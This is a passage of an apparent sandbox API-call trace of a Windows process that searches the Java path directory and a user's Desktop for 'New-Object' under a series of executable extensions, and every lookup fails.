nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.381] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.381] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.381] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.COM", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.COM", lpFilePart=0x0) returned 0x32 [0122.381] GetFullPathNameW (in: lpFileName="New-Object.COM", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.COM", lpFilePart=0x0) returned 0x2c [0122.382] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.COM", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.382] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.382] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.382] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.382] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.EXE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.EXE", lpFilePart=0x0) returned 0x32 [0122.382] GetFullPathNameW (in: lpFileName="New-Object.EXE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.EXE", lpFilePart=0x0) returned 0x2c [0122.382] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.EXE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.382] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.383] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.383] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.383] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.BAT", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.BAT", lpFilePart=0x0) returned 0x32 [0122.383] GetFullPathNameW (in: lpFileName="New-Object.BAT", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.BAT", lpFilePart=0x0) returned 0x2c [0122.383] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.BAT", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.383] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.383] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.383] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.384] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.CMD", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.CMD", lpFilePart=0x0) returned 0x32 [0122.384] GetFullPathNameW (in: lpFileName="New-Object.CMD", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.CMD", lpFilePart=0x0) returned 0x2c [0122.384] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.CMD", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.384] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.384] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.384] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.384] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.VBS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.VBS", lpFilePart=0x0) returned 0x32 [0122.384] GetFullPathNameW (in: lpFileName="New-Object.VBS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.VBS", lpFilePart=0x0) returned 0x2c [0122.384] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.VBS", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.385] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.385] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.385] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.385] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.VBE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.VBE", lpFilePart=0x0) returned 0x32 [0122.385] GetFullPathNameW (in: lpFileName="New-Object.VBE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.VBE", lpFilePart=0x0) returned 0x2c [0122.385] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.VBE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.385] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.385] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.386] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.386] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.JS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.JS", lpFilePart=0x0) returned 0x31 [0122.386] GetFullPathNameW (in: lpFileName="New-Object.JS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.JS", lpFilePart=0x0) returned 0x2b [0122.386] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.JS", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.386] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.386] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.386] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.386] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.JSE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.JSE", lpFilePart=0x0) returned 0x32 [0122.386] GetFullPathNameW (in: lpFileName="New-Object.JSE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.JSE", lpFilePart=0x0) returned 0x2c [0122.386] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.JSE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.386] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.387] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.387] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.387] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.WSF", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.WSF", lpFilePart=0x0) returned 0x32 [0122.387] GetFullPathNameW (in: lpFileName="New-Object.WSF", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.WSF", lpFilePart=0x0) returned 0x2c [0122.387] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.WSF", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.387] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.387] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.387] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.387] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.WSH", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.WSH", lpFilePart=0x0) returned 0x32 [0122.387] GetFullPathNameW (in: lpFileName="New-Object.WSH", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.WSH", lpFilePart=0x0) returned 0x2c [0122.387] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.WSH", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.388] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.388] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.388] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.388] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.MSC", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.MSC", lpFilePart=0x0) returned 0x32 [0122.388] GetFullPathNameW (in: lpFileName="New-Object.MSC", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.MSC", lpFilePart=0x0) returned 0x2c [0122.388] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.MSC", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.388] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.388] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.388] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.388] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.CPL", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.CPL", lpFilePart=0x0) returned 0x32 [0122.388] GetFullPathNameW (in: lpFileName="New-Object.CPL", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.CPL", lpFilePart=0x0) returned 0x2c [0122.389] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object.CPL", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.389] GetFullPathNameW (in: 